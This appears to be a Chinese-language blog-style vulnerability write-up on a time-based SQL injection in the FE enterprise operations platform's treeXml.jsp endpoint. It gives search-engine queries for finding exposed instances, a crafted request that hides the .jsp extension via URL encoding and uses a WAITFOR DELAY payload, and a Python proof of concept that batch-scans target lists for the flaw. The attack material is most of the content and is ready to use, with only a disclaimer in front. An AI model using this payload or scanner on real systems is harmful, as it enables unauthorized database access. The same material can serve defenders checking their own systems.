声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。
文章目录
- 漏洞描述
- 漏洞复现
- 测试工具
漏洞描述
飞企互联-FE企业运营管理平台是一个基于云计算、智能化、大数据、物联网、移动互联网等技术支撑的云工作台。其treeXml.jsp
接口存在sql注入,恶意攻击者可能会向数据库发送构造的恶意SQL查询语句
漏洞复现
1)信息收集
fofa:app="FE-协作平台"
hunter:app.name="飞企互联 FE"||app.name="飞企互联 FE 6.0+"
无论前方道路多么崎岖,只要心中有光,脚下就有力量,你定能抵达梦想的彼岸!加油!🌟
2)构造数据包
GET /sys/treeXml.js%70?menuName=1';WAITFOR+DELAY+'0:0:5'--&type=function HTTP/1.1
Host:ip
代码解释:
/sys/treeXml.js%70
: 这看起来像是一个请求的脚本文件路径,其中%70
是URL编码,解码后应该是p
,所以完整的文件路径是/sys/treeXml.jsp
。;WAITFOR DELAY '0:0:5'--
: 这是SQL Server特有的一个等待命令,它会让SQL Server等待指定的时间(例子中是5秒)。&type=function
: 这是另一个查询参数,type
的值是function
。
响应时间延长至5秒,证明命令被执行。
测试工具
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-# 导入所需的模块
import http.client
import ssl
import argparse
from urllib.parse import urlparse
import time# 定义颜色代码,用于终端输出高亮显示
RED = '\033[91m'
RESET = '\033[0m'def check_vulnerability(url):try:# 解析URL,获取协议、域名和路径parsed_url = urlparse(url)# 构造用于检测SQL注入漏洞的URL路径path = parsed_url.path.rstrip('/') + "/sys/treeXml.js%70?menuName=1';WAITFOR+DELAY+'0:0:3'--&type=function"# 根据URL协议创建HTTP或HTTPS连接if parsed_url.scheme == "https":# 忽略SSL证书验证conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context())else:conn = http.client.HTTPConnection(parsed_url.netloc)# 记录请求开始时间start_time = time.time()# 发送GET请求conn.request("GET", path)# 获取响应response = conn.getresponse()# 计算响应时间elapsed_time = time.time() - start_time# 如果响应时间在3到6秒之间,可能存在SQL注入漏洞if 3 < elapsed_time < 6:print(f"{RED}URL [{url}] 可能存在飞企互联FE企业运营管理平台 treeXml.jsp SQL注入漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except (http.client.HTTPException, ConnectionResetError) as e:# 打印请求失败的错误信息print(f"URL [{url}] 请求失败: {e}")except Exception as e:# 打印其他异常的错误信息print(f"URL [{url}] 遇到未知错误: {e}")def main():# 创建参数解析器parser = argparse.ArgumentParser(description='检测目标地址是否存在飞企互联FE企业运营管理平台 treeXml.jsp SQL注入漏洞')# 添加URL参数parser.add_argument('-u', '--url', help='指定目标地址')# 添加文件参数,用于读取包含URL列表的文件parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')# 解析命令行参数args = parser.parse_args()# 如果提供了URL参数if args.url:# 如果URL没有协议头,添加http协议头if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.url# 检测URL是否存在漏洞check_vulnerability(args.url)# 如果提供了文件参数elif args.file:# 读取文件中的URL列表with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:# 如果URL没有协议头,添加http协议头if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + url# 检测每个URL是否存在漏洞check_vulnerability(url)if __name__ == '__main__':# 程序入口main()
运行截图: